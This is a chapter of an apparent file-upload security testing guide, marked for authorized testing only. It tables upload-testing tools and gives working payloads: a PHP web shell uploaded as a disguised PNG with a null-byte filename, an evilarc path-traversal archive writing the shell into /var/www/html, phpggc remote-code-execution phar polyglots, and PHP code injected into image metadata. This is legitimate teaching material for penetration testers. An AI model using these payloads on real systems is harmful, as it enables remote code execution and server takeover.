Skip to content

Chapter 8

The file upload toolkit

Proxies, metadata editors, archive crafters, and gadget generators.

2 min readFile Upload

You do not need a giant toolbox for upload testing. A proxy that lets you edit raw multipart boundaries cleanly, plus a few focused CLI utilities for metadata and archives, covers almost every real target.

Tool Primary function Typical command or usage pattern
Burp Suite Repeater Intercept and modify multipart upload requests Edit Content-Disposition, filename, and file bodies
Turbo Intruder Parallel race condition testing Execute concurrent upload and download requests
ExifTool Metadata extraction and injection exiftool -Comment='<?php phpinfo(); ?>' image.jpg
ImageMagick identify Inspect image formats and verify parser behavior identify -verbose image.jpg
evilarc Generate archives with directory traversal entries python evilarc.py shell.php -d 6 -o unix
phpggc Generate PHP gadget chains for phar archives phpggc Laravel/RCE1 system 'id' --phar -o evil.phar
Nuclei Scan for documented CVEs in web services nuclei -id CVE-2021-22205 -u https://target.example

Burp Suite Repeater provides exact control over multipart form boundaries. You can modify headers without browser interference. Test different content types, strip null bytes, and inject parameter variations directly.

POST /api/v1/profile/avatar HTTP/1.1
Host: target.example
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ
------WebKitFormBoundaryXYZ
Content-Disposition: form-data; name="avatar"; filename="avatar.php%00.png"
Content-Type: image/png
GIF89a<?php system($_GET['c']); ?>
------WebKitFormBoundaryXYZ--

The evilarc utility creates zip archives containing relative path traversal entries.

  1. Create a minimal web shell file named shell.php.
  2. Run evilarc to package the file with path traversal sequences.
  3. Specify the target operating system format.
Terminal window
echo "<?php system(\$_GET['c']); ?>" > shell.php
python evilarc.py shell.php -d 5 -p var/www/html -o unix

The resulting zip archive contains an entry that writes to /var/www/html/shell.php upon naive extraction.

The phpggc tool creates serialized objects for popular PHP frameworks. When a target application exposes a phar:// stream wrapper execution path, use phpggc to generate the payload.

Terminal window
phpggc Monolog/RCE1 system "id" --phar phar -o payload.phar
cp payload.phar avatar.jpg

Because PHP phar archives tolerate initial junk data, the file remains a valid polyglot. Upload avatar.jpg and trigger backend filesystem operations using the phar:// protocol.

Next, Chapter 9 covers how to write up these findings for triage teams.

Connections1 backlink · 0 outgoing · 1 cross-guideFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

Links out to

No outgoing internal links on this page.

File UploadFor authorized testing only.